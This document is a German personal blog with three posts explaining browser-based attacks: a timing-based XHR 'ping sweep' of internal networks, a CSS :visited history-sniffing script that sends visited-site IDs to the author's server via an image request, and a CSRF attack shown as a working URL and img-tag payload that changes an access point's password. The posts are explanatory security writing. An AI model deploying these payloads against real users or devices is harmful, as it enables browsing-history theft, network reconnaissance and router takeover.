dimis linkdump

Posts tagged ‘Javascript’

Eine interessante Idee hatten die Security-Spezialisten von ha.ckers.org. In ihrem aktuellen Blogartikel schreiben sie über eine Möglichkeit wie man z.B das interne Netz eines Surfers über den Browser auf die existenz aktiver Hosts überprüfen könnte.
Hierzu wird natürlich kein echtes ICMP-Packet durch den Browser generiert, sondern ein so genannter Cross-Origin Request an jeden einzelnen Host abgesetzt. Mit dieser Methode will das W3C den Authoren von Webapplicationen eine sichere Möglichkeit bieten, die so geannte Same Origin Policy zu umgehen.

Wie funktioniert das “ping” sweeping?

Diese Methode bediehnt sich eines einfachen Gedankens: Eine IP hinter der ein Host steckt, kann schneller reagieren als eine IP hinter der kein Host steckt. (Wie denn auch, wer soll da reagieren?)

Das W3C verbietet im Entwurf zu Cross Origin Request ganz deutlich, dass keine Informationen an den User ausgegeben werden dürfen, wenn das status flag nicht auf success steht.

Hosting specifications also need to ensure not to reveal anything until the status flag is set to success to prevent e.g. port scanning.

Indirekt tut es der Browser halt trotzdem:

Hier wichtigste Teil des Javascripts:

1:  function processRequest () {
2:    if (req.readyState == 4) {
3:    var d2 = new Date;
4:    var time = d2.getTime() – d.getTime();
5:         if (time < 18000) {
6:             if (time > 10) {
7:                 log (“Exists: ” + url + ” at ” + time + “ms.”);
8:             }
9:         } else {
10:           log (“Doesn’t exist: ” + url + ” at ” + time + “ms.”);
11:       }
12:  }
13: }

Im vorderen Teil des Skripts (hier nicht abgebildet) wird das neue XMLHTTPRequest-Objekt ( req ) sowie die Startzeit des Skripts ( d ) erzeugt.

Wenn der Request beendet ist (Zeile 2) vergleicht das Skript die Anfangs- und Endzeit (d und d2). Wenn die Hosts innerhalb von 10 – 18000 Millisekunden geantwortet haben, dann werden sie als Online deaklatiert.

Diese unterschiedlichen Zeiten entstehen dadurch, dass jeder aktive Host, egal ob er auf Port 80 erreichbar ist oder nicht, dem Browser schneller eine Reaktion auf die Anfrage liefern kann als ein Host der nicht im Netzwerk vorhanden ist. Wenn ein Host nicht im Netzwerk erreichbar ist, läuft der Browser einfach in einen Timeout. Der dauert natürlich deutlich länger…

Es gibt 3 Möglichkeiten, wie ein aktiver Host auf eine Anfrage durch den Browser reagieren kann:

  • Er schickt ein RST/FIN-Paket, weil auf diesem Port kein Dienst lauscht.
  • Er lässt eine Verbindung zu, weil ein HTTP-Server auf dem Port lauscht.
  • Er verwirft das Paket einfach.

Punkt 1 und 3 sind für das Skript ok und geben den Host als aktiv aus. Punkt 3 verfälscht das Ergebnis allerdings enorm. Dieser Fall entsteht durch eine aktive Firewall , die die Pakete einfach verwirft statt diese mit RST zu beantworten. Die Windows-Firewall (ab SP2 XP) ist z.B. so eingestellt. Genauso kann natürlich auch eine iptables-Firewall unter Linux eingestellt sein…

Link zum Test:

http://ha.ckers.org/weird/xhr-ping-sweep.html

Wer selbst ein wenig rumprobieren will, kann sich die Seite einfach abspeichern und im Quelltext das Array “sites”, entsprechend seiner IP-Range im lokalen Netzwerk, anpassen.

Gestern wurde ich von @tslg auf die Webseite www.startpanic.com hingewiesen. Nach einem Klick auf “Lets Start” findet die Webseite plötzlich Seiten, die man während dem surfen besucht hat. Erstaunlich und und wirkungsvoll. Man will gleich die Petition unterschreiben:

We are gathering petition signatures with the request to patch the privacy vulnerabilities of web different web browsers. This petition will be sent to the four major development companies – Mozilla Corp., Apple inc., Microsoft Corp. and Opera Software ASA. Join us for a safe and secure Internet!

Doch was passiert im Hintergrund, wie kommt die Webseite an die Daten? Eine unbekannte Sicherheitslücke in allen Browsern? Nicht wirklich.

Die Idee dahinter ist gut und die Webseite ist auch interessant umgesetzt. Da aber keinerlei startpanic Informationen über die Funktionsweise auf der Webseite stehen, hab ich mir das JavaScript, was im Hintergrund vom Browser ausgeführt wird, mal genauer angesehen.

Dieses Javascript ist ziemlich aufwendig und man braucht einige Zeit bis man es vollständig nachvollzogen hat… vor allem wenn man, wie ich, kein  Javascript-Nerd ist. ;)

Nachdem ich das Prinzip verstanden hatte, hab ich einen eigenen Code geschrieben. Der ist deutlich kürzer, arbeitet aber ähnlich.

Die Testwebseite:

http://www.it-blogger.net/files/jsinfogath/jsinfogath.htm

Auf dieser Webseite werden 2 Dateien eingebunden:

itblogger.js

style.css

In der itblogger.js sind 2 Javascript-Funktionen zu finden, die die Auswertung Informationen machen.

Die erste Funktion heißt writeURL(). Diese Funktion greift auf das Array “urls” zu und schreibt nacheinander Links zu den den Webseiten, die in diesem Array stehen, auf die Testwebseite. Zusätzlich wird jeder einzelne Link mit einer eindeutigen ID versehen. D.h. google.de hat die ID 0, it-blogger.net hat die ID 1,… playboy.de hat die ID 4.

Diese Links werden über die style.css unterschiedlich formatiert. Bereits besuchte Webseiten werden grün angezeigt, nicht besuchte Webseiten werden rot angezeigt. D.h.  playboy.de wird wahrscheinlich grün sein, spiegel.de rot. ;)

Das ist bisher nichts besonderes. Diese Funktion findet man auf vielen verschiedenen Webseiten und Links werden ja sowieso immer unterschiedlich angezeigt.

Bei der zweiten Funktion wird es interessant. checkState() geht die vorher erstellten Links durch und schaut ob diese grün oder rot dargestellt werden. Das passiert in diesem Codeabschnitt:

1: var besuchteseiten = “”;
2: for(var i = 0; i<urls.length;i++){
3:     var besucht = window.getComputedStyle(document.getElementById4(i),”" ).getPropertyValue(“color”);

[...]

5:    if(besucht==”rgb(0, 128, 0)”){
6:        besuchteseiten = besuchteseiten +”id=”+i;
7:    }

8:}

Über die Funktion getComputedStyle() (Z. 3) wird überprüft, wie der Browser den Link gerade anzeigt (rot  oder grün) . Dazu wählt die Funktion über getElementById() die Links (wir hatten Sie ja mit einer ID versehen) nacheinander aus und überprüft ob die Eigenschaft “color”gleich rgb(0, 128, 0)  (also grün) ist.

Wenn dies der Fall ist, schreibt die Funktion “id=x” (x steht für die jeweilige ID der Webseite) in die Variable “besuchteseiten“. Wenn mehrere Webseiten der Liste besucht wurden, werden diese zusammengesetzt in der Varaible gespeichert. Also id=0&id=2,… Außerdem wird ein neues Element unter “Besuchte Seiten” hinzugefügt.

Nachdem alle Webseiten überprüft und gelistet wurden, erzeugt die Funktion ein Bild:

1: div = document.getElementById(‘besucht’);
2: var img = document.createElement(“img”);
3: img.setAttribute(“src”,”http://www.it-blogger.net/files/jsinfogath/get.php?”+besuchteseiten);
4: 5: div.appendChild(img);

Dieses Bild hat als Quelle (Z 3) http://www.it-blogger.net/files/jsinfogath/get.php? und den String aus besuchten Webseiten:

Z.B:  http://www.it-blogger.net/files/jsinfogath/get.php?id=1&id=3

In diesem wurden also die Webseiten mit der ID 1 und 4 vom Client besucht. D.h. google.de und winfuture.de.

Dieses Bild versucht der Browser aufzurufen. Erfolglos, denn es gibt das Bild ja nicht. Über den versuchten Aufruf haben wir aber die Informationen über die vom Client besuchten Webseiten,  zu einem Server transportiert und könnten diese auf Serverseite weiterverarbeiten. In diesem Beispiel hier passiert auf Serverseite natürlich nichts! :)

Man kann natürlich auch das Bild verstecken – dann würde nichtmal der Platzhalter angezeigt werden. (siehe auskommentierte Zeile im Skript).

Auf startpanic.com wird eine etwas größere Datenbank für die Ermittlung der Webseiten verwendet:

http://www.startpanic.com/db/db_en.txt

Das sorgt natürlich für ein besseres Ergebnis. Um alles im Hintergrund zu überprüfen nutzt Startpanic kleine iframes, in die die jeweiligen Links eingebettet und danach überprüft werden. Ingesamt sieht die Startpanic-Version natürlich viel spektakulärer aus – es fehlt aber leider der technische Hintergrund. Das wurde hiermit erledigt ;)

Es schwirrt wieder eine Meldung über einen Angriffsvektor gegen diverse Router durch die Online-Zeitschriften. Doch was steckt hinter dieser “hochgradigen” Gefahr?

Wer sich jetzt denkt: “Was schreibt der denn da fürn Quatsch?” Der möge sich doch kurz diesen Artikel durchlesen: PCWelt oder direkt bei TecChannel.

Leider hört TecChannel genau da auf, wo es interessant wird. Grundlos wie ich finde, denn wer diesen Angriff nachstellen will, schafft das auch ohne TecChannel. :)

Also, mich hat das Interessiert und deswegen hab ich es mir genauer angeschaut. Leider habe ich grade keine Fritzbox da – deswegen hab ich einfach mal mein AP zur Hilfe genommen. (Hersteller: a quip – fragt mich nicht welches Modell genau. Ist ein einfacher, 30 Euro AP).

Bei diesem AP ist es relativ einfach eine solche CSRF-Attacke durchzuführen. Einstellungen und Parameter werden über GET-Variablen übergeben. Wenn man sich mal die Seite zum Ändern aquip_passwddes Passworts anschaut  findet man, neben einigen Javascript-Funktionen, das hier links dargestellte Formular in Quelltextform.

Dort sieht man, was beim ändern des Passworts  passiert: Nachdem man die Passwörter eingegeben hat, klickt man auf Apply und löst damit ein Javascript-Event (onclick) aus, welches anschließend eine Javascript-Funktion (OnSave()) aufruft. Diese macht einige Umformungen und ruft letztendlich eine URL auf, die ungefähr so aussieht:

http://192.168.2.2/TaUpdate/twl54a.lk?ID=7&User=62656E75747A65726E616D65&OldPass=626C7562626572&Pass=647562697374646F6F66

In dieser URL sind die Werte (altes Passwort, neues Passwort,..) als Hex codiert. Indem diese URL aufgerufen wird, ändert sich das Passwort vom AP.

Jetzt muss man einen User nur noch dazu bringen, diesen Link aufzurufen oder bettet ihn einfach als Bild in eine Webseite ein – und das Passwort am Router ändert sich.

<img src=http://192.168.2.2/TaUpdate/twl54a.lk?ID=7&User=62656[..] alt=””></img>

Wenn ich also ein solches img-Tag auf it-blogger.net einbinde, ändert sich das Passwort von allen, die den gleichen AP haben ;)

Es gibt allerdings auch einige Einschränkungen:

  • Der User muss momentan auf dem Webinterface des Routers sein oder
  • er muss es in letzter Zeit mal geöffnet haben oder
  • der Router arbeitet ohne Authentifizierung
  • die IP muss bekannt sein
    Besonders einfach ist die Sache natürlich, wenn ein Router das Passwort allein durch den Aufruf einer URL ändert (wie hier). Nur wenig komplizierter wird es, wenn die eingegebenen Passwörter über POST-Variablen geändert werden. Das wird, schätze ich, bei der FritzBox der Fall sein. Aber auch hier lässt sich z.B. über JavaScript eine CSRF-Attacke ausführen.

Mit der XMLHttpRequest-API lassen sich beliebige HTTP-Abfragen mit JavaScript erstellen. Dieses JavaScript bettet man anschließend in eine Webseite sein, die z.B. über eine XSS-Schwachstelle am Router diesem den Code unterschiebt.

<script type=”text/javascript”>
var xmlHttp = null;
xmlHttp = new XMLHttpRequest();
if (xmlHttp) {
xmlHttp.open(‘POST’, ‘index.php’, true);
xmlHttp.onreadystatechange = function () {
};
xmlHttp.setRequestHeader(‘Content-Type’, ‘application/x-www-form-urlencoded’);
xmlHttp.send(“pass=11111111&pass2=222222222222″);
}

Hier sendet das Skript die Post-Variablen “pass” und “pass2” an die index.php. Um hier z.B. das Passwort der FritzBox zu ändern, müsste man natürlich den Quelltext analysieren und die Variablen entsprechend anpassen.

Nun könnt ihr ja selbst entscheiden die hochgradig die Gefahr ist ;)

RSS-Feed Creative Commons License